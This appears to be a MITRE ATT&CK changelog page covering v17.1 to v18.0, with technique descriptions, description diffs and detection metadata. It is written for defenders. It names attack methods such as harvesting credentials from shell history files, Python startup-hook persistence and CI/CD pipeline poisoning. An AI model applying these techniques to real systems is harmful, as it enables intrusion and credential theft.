ATT&CK Changes Between v17.1 and v18.0

Key

New objects: ATT&CK objects which are only present in the new release.
Major version changes: ATT&CK objects that have a major version change. (e.g. 1.0 → 2.0)
Minor version changes: ATT&CK objects that have a minor version change. (e.g. 1.0 → 1.1)
Other version changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 → 1.2)
Patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 → 1.0 but something like a typo, a URL, or some metadata was fixed)
Object revocations: ATT&CK objects which are revoked by a different object.
Object deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced.
Object deletions: ATT&CK objects which are no longer found in the STIX data.

Additional formats

These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.

This JSON file contains the machine readble output used to create this page: changelog.json

Techniques

Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.

The Docker CLI is used for managing containers via an exposed API point from the dockerd daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)

Adversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the curl command to download payloads.(Citation: Intezer) Adversaries may also utilize docker inspect and docker ps to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).(Citation: Cisco Talos Blog)(Citation: aquasec)

Kubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as kubectl. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via curl or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.

[T1213.006] Data from Information Repositories: Databases

Current version: 1.0

Description:

Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments).

Examples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)

[T1678] Delay Execution

Current version: 1.0

Description:

Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.

Adversaries may utilize programmatic sleep commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as ping, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

[T1562.013] Impair Defenses: Disable or Modify Network Device Firewall

Current version: 1.0

Description:

Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.

Modifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.(Citation: Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware)

Adversaries may gain access to the firewall management console via Valid Accounts or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet Exploit Public-Facing Application.(Citation: CVE-2024-55591 Detail)

[T1680] Local Storage Discovery

Current version: 1.0

Description:

Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform Lateral Movement, or as a precursor to Direct Volume Access.

On ESXi systems, adversaries may use Hypervisor CLI commands such as esxcli to list storage connected to the host as well as .vmdk files.(Citation: TrendMicro)(Citation: TrendMicro ESXI Ransomware)

On Windows systems, adversaries can use wmic logicaldisk get to find information about local network drives. They can also use Get-PSDrive in PowerShell to retrieve drives and may additionally use Windows API functions such as GetDriveType.(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Volexity)

Linux has commands such as parted, lsblk, fdisk, lshw, and df that can list information about disk partitions such as size, type, file system types, and free space. The command diskutil on MacOS can be used to list disks while system_profiler SPStorageDataType can additionally show information such as a volume’s mount path, file system, and the type of drive in the system.

Infrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as describe volume in AWS, gcloud compute disks list in GCP, and az disk list in Azure.(Citation: AWS docs describe volumes)(Citation: GCP gcloud compute disks list)(Citation: azure az disk)

[T1204.005] User Execution: Malicious Library

Current version: 1.0

Description:

Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)

In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.

[T1677] Poisoned Pipeline Execution

Current version: 1.0

Description:

Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines:

In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., gitlab-ci.yml in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: OWASP CICD-SEC-4)
In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.(Citation: OWASP CICD-SEC-4)
In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the pull_request_target trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an npm build command), a threat actor may be able to leak pipeline credentials.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: GitHub Security Lab GitHub Actions Security 2021) Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.(Citation: Wiz Ultralytics AI Library Hijack 2024)(Citation: Synactiv Hijacking GitHub Runners)(Citation: GitHub Security Labs GitHub Actions Security Part 2 2021) Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.(Citation: John Stawinski PyTorch Supply Chain Attack 2024)

By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).

[T1546.018] Event Triggered Execution: Python Startup Hooks

Current version: 1.0

Description:

Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (.pth) files and the sitecustomize.py or usercustomize.py modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)

Path configuration files are designed to extend Python’s module search paths through the use of import statements. If a .pth file is placed in Python's site-packages or dist-packages directories, any lines beginning with import will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if sitecustomize.py or usercustomize.py is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)

Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).

[T1681] Search Threat Vendor Data

Current version: 1.0

Description:

Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations.

Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)

This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.

[T1679] Selective Exclusion

Current version: 1.0

Description:

Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include .dll, .exe, and .lnk.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)

Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.

Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.

Major Version Changes

[T1552.003] Unsecured Credentials: Shell History

Current version: 2.0

Version changed from: 1.2 → 2.0

	Old Description			New Description
t	1	Adversaries may search the bash command history on compromis	t	1	Adversaries may search the command history on compromised sy
	>	ed systems for insecurely stored credentials. Bash keeps tra		>	stems for insecurely stored credentials. On Linux and macOS
	>	ck of the commands users type on the command-line with the "		>	systems, shells such as Bash and Zsh keep track of the comm
	>	history" utility. Once a user logs out, the history is flush		>	ands users type on the command-line with the "history" utili
	>	ed to the user’s <code>.bash_history</code> file. For each u		>	ty. Once a user logs out, the history is flushed to the user
	>	ser, this file resides at the same location: <code>~/.bash_h		>	's history file. For each user, this file resides at the sam
	>	istory</code>. Typically, this file keeps track of the user’		>	e location: for example, `~/.bash_history` or `~/.zsh_histor
	>	s last 500 commands. Users often type usernames and password		>	y`. Typically, these files keeps track of the user's last 10
	>	s on the command-line as parameters to programs, which then		>	00 commands. On Windows, PowerShell has both a command hist
	>	get saved to this file when they log out. Adversaries can ab		>	ory that is wiped after the session ends, and one that conta
	>	use this by looking through the file for potential credentia		>	ins commands used in all sessions and is persistent. The def
	>	ls. (Citation: External to DA, the OS X Way)		>	ault location for persistent history can be found in `%userp
				>	rofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadl
				>	ine\ConsoleHost_history.txt`, but command history can also b
				>	e accessed with `Get-History`. Command Prompt (CMD) on Windo
				>	ws does not have persistent history.(Citation: Microsoft abo
				>	ut_History)(Citation: Medium) Users often type usernames an
				>	d passwords on the command-line as parameters to programs, w
				>	hich then get saved to this file when they log out. Adversar
				>	ies can abuse this by looking through the file for potential
				>	credentials.(Citation: External to DA, the OS X Way)

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0385: Detect Access and Parsing of .bash_history Files for Credential Harvesting

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Raja Singh (raja-singh-r3v-sh3ll)', 'Avioo360']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:52:49.389000+00:00	2025-10-24 17:49:02.375000+00:00
name	Bash History	Shell History
description	Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s `.bash_history` file. For each user, this file resides at the same location: `~/.bash_history`. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)	Adversaries may search the command history on compromised systems for insecurely stored credentials. On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands. On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium) Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitoring when the user's `.bash_history` is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like `cat ~/.bash_history`.
x_mitre_version	1.2	2.0

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Medium', 'description': 'Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.', 'url': 'https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4'}
external_references		{'source_name': 'Microsoft about_History', 'description': 'Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.', 'url': 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5'}
x_mitre_platforms		Windows

[T1082] System Information Discovery

Current version: 3.0

Version changed from: 2.6 → 3.0

	Old Description			New Description
t	1	An adversary may attempt to get detailed information about t	t	1	An adversary may attempt to get detailed information about t
	>	he operating system and hardware, including version, patches		>	he operating system and hardware, including version, patches
	>	, hotfixes, service packs, and architecture. Adversaries may		>	, hotfixes, service packs, and architecture. Adversaries may
	>	use the information from [System Information Discovery](htt		>	use this information to shape follow-on behaviors, includin
	>	ps://attack.mitre.org/techniques/T1082) during automated dis		>	g whether or not the adversary fully infects the target and/
	>	covery to shape follow-on behaviors, including whether or no		>	or attempts specific actions. This behavior is distinct from
	>	t the adversary fully infects the target and/or attempts spe		>	[Local Storage Discovery](https://attack.mitre.org/techniqu
	>	cific actions. Tools such as [Systeminfo](https://attack.mi		>	es/T1680) which is an adversary's discovery of local drive,
	>	tre.org/software/S0096) can be used to gather detailed syste		>	disks and/or volumes. Tools such as [Systeminfo](https://at
	>	m information. If running with privileged access, a breakdow		>	tack.mitre.org/software/S0096) can be used to gather detaile
	>	n of system data can be gathered through the <code>systemset		>	d system information. If running with privileged access, a b
	>	up</code> configuration tool on macOS. As an example, advers		>	reakdown of system data can be gathered through the <code>sy
	>	aries with user-level access can execute the <code>df -aH</c		>	stemsetup</code> configuration tool on macOS. Adversaries ma
	>	ode> command to obtain currently mounted disks and associate		>	y leverage a [Network Device CLI](https://attack.mitre.org/t
	>	d freely available space. Adversaries may also leverage a [N		>	echniques/T1059/008) on network devices to gather detailed s
	>	etwork Device CLI](https://attack.mitre.org/techniques/T1059		>	ystem information (e.g. <code>show version</code>).(Citation
	>	/008) on network devices to gather detailed system informati		>	: US-CERT-TA18-106A) On ESXi servers, threat actors may gath
	>	on (e.g. <code>show version</code>).(Citation: US-CERT-TA18-		>	er system information from various esxcli utilities, such as
	>	106A) On ESXi servers, threat actors may gather system infor		>	`system hostname get` and `system version get`.(Citation: C
	>	mation from various esxcli utilities, such as `system hostna		>	rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon
	>	me get`, `system version get`, and `storage filesystem list`		>	is) Infrastructure as a Service (IaaS) cloud providers such
	>	(to list storage volumes).(Citation: Crowdstrike Hypervisor		>	as AWS, GCP, and Azure allow access to instance and virtual
	>	Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure a		>	machine information via APIs. Successful authenticated API
	>	s a Service (IaaS) cloud providers such as AWS, GCP, and Azu		>	calls can return data such as the operating system platform
	>	re allow access to instance and virtual machine information		>	and status of a particular instance or the model view of a v
	>	via APIs. Successful authenticated API calls can return data		>	irtual machine.(Citation: Amazon Describe Instance)(Citation
	>	such as the operating system platform and status of a parti		>	: Google Instances Resource)(Citation: Microsoft Virutal Mac
	>	cular instance or the model view of a virtual machine.(Citat		>	hine API) [System Information Discovery](https://attack.mit
	>	ion: Amazon Describe Instance)(Citation: Google Instances Re		>	re.org/techniques/T1082) combined with information gathered
	>	source)(Citation: Microsoft Virutal Machine API) [System In		>	from other forms of discovery and reconnaissance can drive p
	>	formation Discovery](https://attack.mitre.org/techniques/T10		>	ayload development and concealment.(Citation: OSX.FairyTale)
	>	82) combined with information gathered from other forms of d		>	(Citation: 20 macOS Common Tools and Techniques)
	>	iscovery and reconnaissance can drive payload development an
	>	d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C
	>	ommon Tools and Techniques)

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0525: System Discovery via Native and Remote Utilities

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:21.308000+00:00	2025-10-24 17:48:38.277000+00:00
description	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. As an example, adversaries with user-level access can execute the `df -aH` command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. `show version`).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes. Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. `show version`).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
x_mitre_version	2.6	3.0

[T1597.001] Search Closed Sources: Threat Intel Vendors

Current version: 2.0

Version changed from: 1.0 → 2.0

	Old Description			New Description
t	1	Adversaries may search private data from threat intelligence	t	1	Adversaries may search private data from threat intelligence
	>	vendors for information that can be used during targeting.		>	vendors for information that can be used during targeting.
	>	Threat intelligence vendors may offer paid feeds or portals		>	Threat intelligence vendors may offer paid feeds or portals
	>	that offer more data than what is publicly reported. Althoug		>	that offer more data than what is publicly reported. Althoug
	>	h sensitive details (such as customer names and other identi		>	h sensitive details (such as customer names and other identi
	>	fiers) may be redacted, this information may contain trends		>	fiers) may be redacted, this information may contain trends
	>	regarding breaches such as target industries, attribution cl		>	regarding breaches such as target industries, attribution cl
	>	aims, and successful TTPs/countermeasures.(Citation: D3Secut		>	aims, and successful TTPs/countermeasures.(Citation: D3Secut
	>	rity CTI Feeds) Adversaries may search in private threat in		>	rity CTI Feeds) Adversaries may search in private threat in
	>	telligence vendor data to gather actionable information. Thr		>	telligence vendor data to gather actionable information. If
	>	eat actors may seek information/indicators gathered about th		>	a threat actor is searching for information on their own act
	>	eir own campaigns, as well as those conducted by other adver		>	ivities, that falls under [Search Threat Vendor Data](https:
	>	saries that may align with their target industries, capabili		>	//attack.mitre.org/techniques/T1681). Information reported b
	>	ties/objectives, or other operational concerns. Information		>	y vendors may also reveal opportunities other forms of recon
	>	reported by vendors may also reveal opportunities other form		>	naissance (ex: [Search Open Websites/Domains](https://attack
	>	s of reconnaissance (ex: [Search Open Websites/Domains](http		>	.mitre.org/techniques/T1593)), establishing operational reso
	>	s://attack.mitre.org/techniques/T1593)), establishing operat		>	urces (ex: [Develop Capabilities](https://attack.mitre.org/t
	>	ional resources (ex: [Develop Capabilities](https://attack.m		>	echniques/T1587) or [Obtain Capabilities](https://attack.mit
	>	itre.org/techniques/T1587) or [Obtain Capabilities](https://		>	re.org/techniques/T1588)), and/or initial access (ex: [Explo
	>	attack.mitre.org/techniques/T1588)), and/or initial access (		>	it Public-Facing Application](https://attack.mitre.org/techn
	>	ex: [Exploit Public-Facing Application](https://attack.mitre		>	iques/T1190) or [External Remote Services](https://attack.mi
	>	.org/techniques/T1190) or [External Remote Services](https:/		>	tre.org/techniques/T1133)).
	>	/attack.mitre.org/techniques/T1133)).

New Detections (Detection Strategies -> Technique):

DET0816: Detection of Threat Intel Vendors

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:16:02.261000+00:00	2025-10-24 17:48:46.954000+00:00
description	Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).	Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version	1.0	2.0

[T1497.003] Virtualization/Sandbox Evasion: Time Based Checks

Current version: 2.0

Version changed from: 1.3 → 2.0

	Old Description			New Description
t	1	Adversaries may employ various time-based methods to detect	t	1	Adversaries may employ various time-based methods to detect
	>	and avoid virtualization and analysis environments. This may		>	virtualization and analysis environments, particularly those
	>	include enumerating time-based properties, such as uptime o		>	that attempt to manipulate time mechanisms to simulate long
	>	r the system clock, as well as the use of timers or other tr		>	er elapses of time. This may include enumerating time-based
	>	iggers to avoid a virtual machine environment (VME) or sandb		>	properties, such as uptime or the system clock. Adversarie
	>	ox, specifically those that are automated or only operate fo		>	s may use calls like `GetTickCount` and `GetSystemTimeAsFile
	>	r a limited amount of time. Adversaries may employ various		>	Time` to discover if they are operating within a virtual mac
	>	time-based evasions, such as delaying malware functionality		>	hine or sandbox, or may be able to identify a sandbox accele
	>	upon initial execution using programmatic sleep commands or		>	rating time by sampling and calculating the expected value f
	>	native system scheduling functionality (ex: [Scheduled Task/		>	or an environment's timestamp before and after execution of
	>	Job](https://attack.mitre.org/techniques/T1053)). Delays may		>	a sleep function.(Citation: ISACA Malware Tricks)
	>	also be based on waiting for specific victim conditions to
	>	be met (ex: system time, events, etc.) or employ scheduled [
	>	Multi-Stage Channels](https://attack.mitre.org/techniques/T1
	>	104) to avoid analysis and scrutiny.(Citation: Deloitte Envi
	>	ronment Awareness) Benign commands or other operations may
	>	also be used to delay malware execution. Loops or otherwise
	>	needless repetitions of commands, such as [Ping](https://att
	>	ack.mitre.org/software/S0097)s, may be used to delay malware
	>	execution and potentially exceed time thresholds of automat
	>	ed analysis environments.(Citation: Revil Independence Day)(
	>	Citation: Netskope Nitol) Another variation, commonly referr
	>	ed to as API hammering, involves making various calls to [Na
	>	tive API](https://attack.mitre.org/techniques/T1106) functio
	>	ns in order to delay execution (while also potentially overl
	>	oading analysis environments with junk data).(Citation: Joe
	>	Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als
	>	o use time as a metric to detect sandboxes and analysis envi
	>	ronments, particularly those that attempt to manipulate time
	>	mechanisms to simulate longer elapses of time. For example,
	>	an adversary may be able to identify a sandbox accelerating
	>	time by sampling and calculating the expected value for an
	>	environment's timestamp before and after execution of a slee
	>	p function.(Citation: ISACA Malware Tricks)

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0141: Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:29.032000+00:00	2025-10-24 17:48:44.870000+00:00
name	Time Based Evasion	Time Based Checks
description	Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling 